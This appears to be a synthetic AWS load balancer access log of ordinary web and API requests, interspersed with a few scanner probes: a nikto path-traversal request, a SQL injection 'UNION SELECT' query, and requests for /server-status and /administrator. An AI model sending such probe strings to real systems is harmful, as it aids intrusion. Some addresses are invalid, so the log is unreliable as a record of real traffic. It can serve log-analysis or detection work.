prod-api-alb 21.108.85.120:62950 10.0.38.222:443 0.050626 0.383289 0.034200 200 200 176 9984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c85c-a4f51a3084374f64923266aa" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:40.899287Z "forward" "-" "-" "10.0.38.222:443" "200" "-" "-" +https 2024-11-01T01:11:41.699531Z prod-web-alb 221.150.132.166:54815 10.0.244.250:443 0.066741 0.448328 0.042463 301 301 368 2936 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c85d-2cf785fcc32b41ebbf1440cf" "prod-web-alb.example.com" "-" 1 2024-11-01T01:11:41.699531Z "forward" "-" "-" "10.0.244.250:443" "301" "-" "-" +https 2024-11-01T01:11:43.644239Z staging-alb 88.118.234.128:16176 142.84.210.115:8080 0.107453 0.264040 0.030476 302 302 764 4084 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c85f-564c1996c6df4f06b9fc67e7" "staging-alb.example.com" "-" 10 2024-11-01T01:11:43.644239Z "forward" "-" "-" "142.84.210.115:8080" "302" "-" "-" +https 2024-11-01T01:11:44.524907Z prod-web-alb 230.92.24.229:56084 10.0.152.241:443 0.077912 0.462557 0.018468 404 404 46 9694 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c860-a4929d1e80fe4c6c9b548061" "prod-web-alb.example.com" "-" 1 2024-11-01T01:11:44.524907Z "forward" "-" "-" "10.0.152.241:443" "404" "-" "-" +https 2024-11-01T01:11:45.569654Z prod-api-alb 67.52.242.104:53899 10.0.230.212:443 0.030403 0.183888 0.075750 302 302 200 2240 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c861-d8a809847aae4c11acadb794" "prod-api-alb.example.com" "-" 4 2024-11-01T01:11:45.569654Z "forward" "-" "-" "10.0.230.212:443" "302" "-" "-" +http 2024-11-01T01:11:47.149468Z staging-alb 10.61.195.38:58824 237.193.53.53:80 0.051236 0.034202 0.005344 301 301 479 13256 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c863-1d0ffaded05241e189d00b60" "staging-alb.example.com" "-" 1 2024-11-01T01:11:47.149468Z "forward" "-" "-" "237.193.53.53:80" "301" "-" "-" +https 2024-11-01T01:11:49.043860Z staging-alb 195.104.100.162:37833 179.136.185.202:8080 0.097432 0.516309 0.148870 200 200 899 10947 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c865-13789009c56946d4b10246b4" "staging-alb.example.com" "-" 2 2024-11-01T01:11:49.043860Z "forward" "-" "-" "179.136.185.202:8080" "200" "-" "-" +https 2024-11-01T01:11:50.505539Z prod-api-alb 80.247.19.38:46341 10.0.69.144:443 0.080692 0.095934 0.070021 404 404 540 9252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c866-7d0fdfaf00dc4ba5aa9a0857" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:50.505539Z "forward" "-" "-" "10.0.69.144:443" "404" "-" "-" +https 2024-11-01T01:11:52.270299Z prod-api-alb 45.155.205.139:20651 10.0.44.212:443 0.078615 0.191455 0.080930 403 403 233 5570 "GET /server-status HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c868-dc902bd7754b4ceb9c5758c0" "-" "-" 0 2024-11-01T01:11:52.270299Z "forward" "-" "-" "10.0.44.212:443" "403" "-" "-" +https 2024-11-01T01:11:53.458725Z staging-alb 149.180.146.15:53736 121.229.89.98:443 0.034788 0.419299 0.090093 301 301 659 11299 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c869-cbd83f46c45b4a0b85a7b812" "staging-alb.example.com" "-" 8 2024-11-01T01:11:53.458725Z "forward" "-" "-" "121.229.89.98:443" "301" "-" "-" +https 2024-11-01T01:11:54.158843Z prod-api-alb 89.188.50.231:17850 10.0.217.214:443 0.050012 0.151936 0.043263 301 301 828 14385 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86a-ffad08eac4cc4591a900860a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:11:54.158843Z "forward" "-" "-" "10.0.217.214:443" "301" "-" "-" +http 2024-11-01T01:11:54.269165Z staging-alb 21.70.169.163:60382 100.173.26.245:443 0.104750 0.587107 0.107395 200 200 845 14658 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c86a-9d0120b2226549fc9b8d2ad4" "staging-alb.example.com" "-" 3 2024-11-01T01:11:54.269165Z "forward" "-" "-" "100.173.26.245:443" "200" "-" "-" +https 2024-11-01T01:11:56.050380Z prod-api-alb 52.140.26.242:29204 10.0.224.19:443 0.011634 0.415197 0.051565 200 200 890 6566 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86c-fb66746de26a4ed9a80ec47c" "-" "-" 8 2024-11-01T01:11:56.050380Z "forward" "-" "-" "10.0.224.19:443" "200" "-" "-" +https 2024-11-01T01:11:57.470697Z prod-api-alb 185.181.187.26:37284 10.0.72.142:443 0.008365 0.240954 0.088840 401 401 174 11571 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86d-bda80a6b8388424e820d4897" "-" "-" 5 2024-11-01T01:11:57.470697Z "forward" "-" "-" "10.0.72.142:443" "401" "-" "-" +http 2024-11-01T01:11:58.131746Z staging-alb 96.154.176.81:16438 101.53.194.32:8080 0.004836 0.626363 0.036587 200 200 739 6223 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c86e-ba561f48254c43afac706170" "staging-alb.example.com" "-" 7 2024-11-01T01:11:58.131746Z "forward" "-" "-" "101.53.194.32:8080" "200" "-" "-" +https 2024-11-01T01:11:59.005956Z prod-api-alb 178.87.235.190:10019 10.0.95.146:443 0.065602 0.458442 0.088056 302 302 335 603 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c86f-4a775c347945443cbf62f202" "prod-api-alb.example.com" "-" 5 2024-11-01T01:11:59.005956Z "forward" "-" "-" "10.0.95.146:443" "302" "-" "-" +http 2024-11-01T01:11:59.379487Z staging-alb 0.28.134.197:52153 201.165.121.215:80 0.080301 0.507568 0.045604 200 200 217 9567 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c86f-dea414ea0e3d4b649029e547" "staging-alb.example.com" "-" 6 2024-11-01T01:11:59.379487Z "forward" "-" "-" "201.165.121.215:80" "200" "-" "-" +https 2024-11-01T01:12:01.078342Z prod-web-alb 242.158.248.100:42216 10.0.111.26:443 0.055594 0.469169 0.027031 301 301 799 12788 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c871-56f5565cc56140a2bb5de77c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:12:01.078342Z "forward" "-" "-" "10.0.111.26:443" "301" "-" "-" +https 2024-11-01T01:12:01.642153Z staging-alb 8.178.68.42:31699 59.81.20.60:80 0.134533 0.379527 0.039281 301 301 629 915 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c871-2ccbcc104e92454e82a53148" "staging-alb.example.com" "-" 10 2024-11-01T01:12:01.642153Z "forward" "-" "-" "59.81.20.60:80" "301" "-" "-" +https 2024-11-01T01:12:02.741674Z prod-web-alb 183.100.140.213:27842 10.0.33.170:443 0.078316 0.080790 0.026571 200 200 437 1266 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c872-2e529d2defa44252b27ed37a" "prod-web-alb.example.com" "-" 8 2024-11-01T01:12:02.741674Z "forward" "-" "-" "10.0.33.170:443" "200" "-" "-" +https 2024-11-01T01:12:03.237603Z staging-alb 45.155.205.35:41549 88.131.148.251:80 0.001407 0.597581 0.010798 403 403 927 5039 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c873-2855c25d43924bc2b1975d93" "-" "-" 0 2024-11-01T01:12:03.237603Z "forward" "-" "-" "88.131.148.251:80" "403" "-" "-" +http 2024-11-01T01:12:03.693753Z staging-alb 178.165.66.171:22703 201.25.238.39:80 0.117698 0.389746 0.083033 200 200 434 4660 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c873-8698c8d2f1124099af4bc5b8" "staging-alb.example.com" "-" 7 2024-11-01T01:12:03.693753Z "forward" "-" "-" "201.25.238.39:80" "200" "-" "-" +https 2024-11-01T01:12:04.546493Z prod-api-alb 16.227.86.190:16856 10.0.42.184:443 0.083873 0.441163 0.081811 200 200 69 8791 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c874-8836314bff1e41649776c697" "prod-api-alb.example.com" "-" 3 2024-11-01T01:12:04.546493Z "forward" "-" "-" "10.0.42.184:443" "200" "-" "-" +https 2024-11-01T01:12:05.768426Z prod-api-alb 164.225.6.23:13414 10.0.110.164:443 0.064704 0.324970 0.002206 301 301 139 10495 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c875-0495eee411444c409b3275a0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:05.768426Z "forward" "-" "-" "10.0.110.164:443" "301" "-" "-" +https 2024-11-01T01:12:06.452616Z prod-web-alb 162.77.193.102:26768 10.0.222.155:443 0.032979 0.064257 0.023998 404 404 771 4931 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c876-0476875889aa415d9022ef72" "prod-web-alb.example.com" "-" 10 2024-11-01T01:12:06.452616Z "forward" "-" "-" "10.0.222.155:443" "404" "-" "-" +https 2024-11-01T01:12:07.669884Z prod-api-alb 135.77.213.92:63997 10.0.70.125:443 0.060635 0.382303 0.098387 404 404 546 5863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c877-802a88f96a624783a67ed481" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:07.669884Z "forward" "-" "-" "10.0.70.125:443" "404" "-" "-" +https 2024-11-01T01:12:08.884805Z prod-api-alb 99.40.76.188:30645 10.0.19.240:443 0.011873 0.437566 0.011509 200 200 543 7006 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c878-b853cac17ef146a9b04474da" "prod-api-alb.example.com" "-" 4 2024-11-01T01:12:08.884805Z "forward" "-" "-" "10.0.19.240:443" "200" "-" "-" +https 2024-11-01T01:12:10.513231Z prod-api-alb 94.11.86.196:59240 10.0.245.220:443 0.006802 0.466987 0.004918 200 200 998 14832 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c87a-1e4f4950d5194bdc8d85eeac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:12:10.513231Z "forward" "-" "-" "10.0.245.220:443" "200" "-" "-" +http 2024-11-01T01:12:12.169569Z staging-alb 92.153.236.228:15434 151.1.161.9:443 0.052643 0.361179 0.118699 200 200 523 5171 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87c-ff77b6c6211647e3bf02f432" "staging-alb.example.com" "-" 7 2024-11-01T01:12:12.169569Z "forward" "-" "-" "151.1.161.9:443" "200" "-" "-" +http 2024-11-01T01:12:12.496357Z staging-alb 85.154.12.67:21296 174.42.192.104:443 0.001415 0.138675 0.105784 200 200 901 14722 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87c-2d0928c0e1c14a86904b8833" "staging-alb.example.com" "-" 8 2024-11-01T01:12:12.496357Z "forward" "-" "-" "174.42.192.104:443" "200" "-" "-" +https 2024-11-01T01:12:14.418083Z staging-alb 176.78.110.89:49445 167.108.45.164:8080 0.042068 0.373829 0.149558 404 404 669 6631 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87e-f2011844d76a406cbf7f2ecd" "staging-alb.example.com" "-" 6 2024-11-01T01:12:14.418083Z "forward" "-" "-" "167.108.45.164:8080" "404" "-" "-" +https 2024-11-01T01:12:16.120685Z staging-alb 221.26.249.181:36399 247.198.104.26:80 0.127727 0.278290 0.146859 301 301 451 7574 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c880-0b15135b402a4d09bcc12402" "staging-alb.example.com" "-" 10 2024-11-01T01:12:16.120685Z "forward" "-" "-" "247.198.104.26:80" "301" "-" "-" +https 2024-11-01T01:12:16.914370Z prod-api-alb 185.123.145.137:16698 10.0.60.25:443 0.086482 0.079529 0.075108 200 200 333 13598 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c880-1a317a1c40ce4ff5b5ccc541" "prod-api-alb.example.com" "-" 8 2024-11-01T01:12:16.914370Z "forward" "-" "-" "10.0.60.25:443" "200" "-" "-" +http 2024-11-01T01:12:18.094473Z staging-alb 180.106.15.202:53114 56.225.19.11:80 0.087079 0.298263 0.006326 200 200 881 2195 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c882-32f311dc4ce34450b5eab517" "staging-alb.example.com" "-" 10 2024-11-01T01:12:18.094473Z "forward" "-" "-" "56.225.19.11:80" "200" "-" "-" +https 2024-11-01T01:12:18.348129Z prod-web-alb 207.235.112.174:12178 10.0.60.100:443 0.084134 0.247856 0.042407 200 200 433 3877 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c882-fa7cf4adaff345c38a90db2b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:12:18.348129Z "forward" "-" "-" "10.0.60.100:443" "200" "-" "-" +https 2024-11-01T01:12:20.209300Z staging-alb 88.222.191.231:15151 235.99.199.210:80 0.137015 0.683642 0.017536 200 200 897 13716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c884-c2eab363e8da485eb481ff91" "staging-alb.example.com" "-" 10 2024-11-01T01:12:20.209300Z "forward" "-" "-" "235.99.199.210:80" "200" "-" "-" +https 2024-11-01T01:12:21.607803Z staging-alb 130.158.29.187:56521 176.198.135.78:443 0.024500 0.574781 0.057478 200 200 221 9186 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c885-357c142d5e3e4b51b0aac81c" "staging-alb.example.com" "-" 3 2024-11-01T01:12:21.607803Z "forward" "-" "-" "176.198.135.78:443" "200" "-" "-" +https 2024-11-01T01:12:22.539774Z staging-alb 41.128.78.101:43077 24.166.77.0:443 0.036729 0.615119 0.063621 302 302 665 4408 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c886-383ac97d3a0e4698a8d8dfea" "staging-alb.example.com" "-" 4 2024-11-01T01:12:22.539774Z "forward" "-" "-" "24.166.77.0:443" "302" "-" "-" +https 2024-11-01T01:12:23.296529Z prod-api-alb 40.80.130.44:32630 10.0.231.55:443 0.040152 0.084490 0.082280 200 200 369 12081 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c887-71e462e70c4a4d4e83a2e656" "prod-api-alb.example.com" "-" 1 2024-11-01T01:12:23.296529Z "forward" "-" "-" "10.0.231.55:443" "200" "-" "-" +https 2024-11-01T01:12:24.166142Z prod-web-alb 234.158.78.166:11909 10.0.133.200:443 0.061425 0.122835 0.061433 404 404 125 298 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c888-fd9557f0e3404a2bae0180d3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:12:24.166142Z "forward" "-" "-" "10.0.133.200:443" "404" "-" "-" +https 2024-11-01T01:12:25.942244Z staging-alb 43.204.97.194:13994 119.188.146.75:443 0.019362 0.642215 0.118595 200 200 648 14528 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c889-3656fda55a3e4f10ad396a61" "staging-alb.example.com" "-" 4 2024-11-01T01:12:25.942244Z "forward" "-" "-" "119.188.146.75:443" "200" "-" "-" +https 2024-11-01T01:12:27.560240Z prod-api-alb 222.55.220.213:19707 10.0.103.107:443 0.089199 0.120746 0.059889 200 200 245 14347 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c88b-ed0ffe00ab6548e0b9f8fa42" "prod-api-alb.example.com" "-" 10 2024-11-01T01:12:27.560240Z "forward" "-" "-" "10.0.103.107:443" "200" "-" "-" +https 2024-11-01T01:12:29.497786Z prod-api-alb 185.181.21.23:52400 10.0.159.200:443 0.007608 0.378014 0.098290 200 200 517 3011 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c88d-f92646bf4cad4165bb93ba3e" "-" "-" 10 2024-11-01T01:12:29.497786Z "forward" "-" "-" "10.0.159.200:443" "200" "-" "-" +https 2024-11-01T01:12:31.373957Z prod-web-alb 175.82.23.76:17227 10.0.167.198:443 0.073408 0.312836 0.027526 302 302 822 1667 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c88f-b689f736b4da49e6b9f4dd0f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:12:31.373957Z "forward" "-" "-" "10.0.167.198:443" "302" "-" "-" +https 2024-11-01T01:12:32.042472Z prod-api-alb 165.156.5.205:20805 10.0.3.128:443 0.027782 0.482831 0.086472 200 200 920 5890 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c890-61136da2790d40d39ba31be4" "prod-api-alb.example.com" "-" 4 2024-11-01T01:12:32.042472Z "forward" "-" "-" "10.0.3.128:443" "200" "-" "-" +https 2024-11-01T01:12:33.058806Z prod-api-alb 20.202.193.89:18158 10.0.228.201:443 0.045706 0.297386 0.070815 404 404 423 6988 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c891-6371eebaf9444061a50e95cc" "prod-api-alb.example.com" "-" 0 2024-11-01T01:12:33.058806Z "forward" "-" "-" "10.0.228.201:443" "404" "-" "-" +http 2024-11-01T01:12:34.242897Z staging-alb 184.8.61.137:11560 205.39.94.113:8080 0.017390 0.472972 0.124201 200 200 622 385 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c892-51cbf0b2fe0b4b7a8123a0ad" "staging-alb.example.com" "-" 9 2024-11-01T01:12:34.242897Z "forward" "-" "-" "205.39.94.113:8080" "200" "-" "-" +https 2024-11-01T01:12:36.026097Z prod-api-alb 34.84.141.118:26084 10.0.240.197:443 0.032801 0.366233 0.025116 200 200 838 3052 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c894-cbe59118ab124fe59f424681" "prod-api-alb.example.com" "-" 3 2024-11-01T01:12:36.026097Z "forward" "-" "-" "10.0.240.197:443" "200" "-" "-" +http 2024-11-01T01:12:37.228393Z staging-alb 76.2.164.238:29980 26.136.135.160:443 0.072015 0.374388 0.026803 200 200 199 12617 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 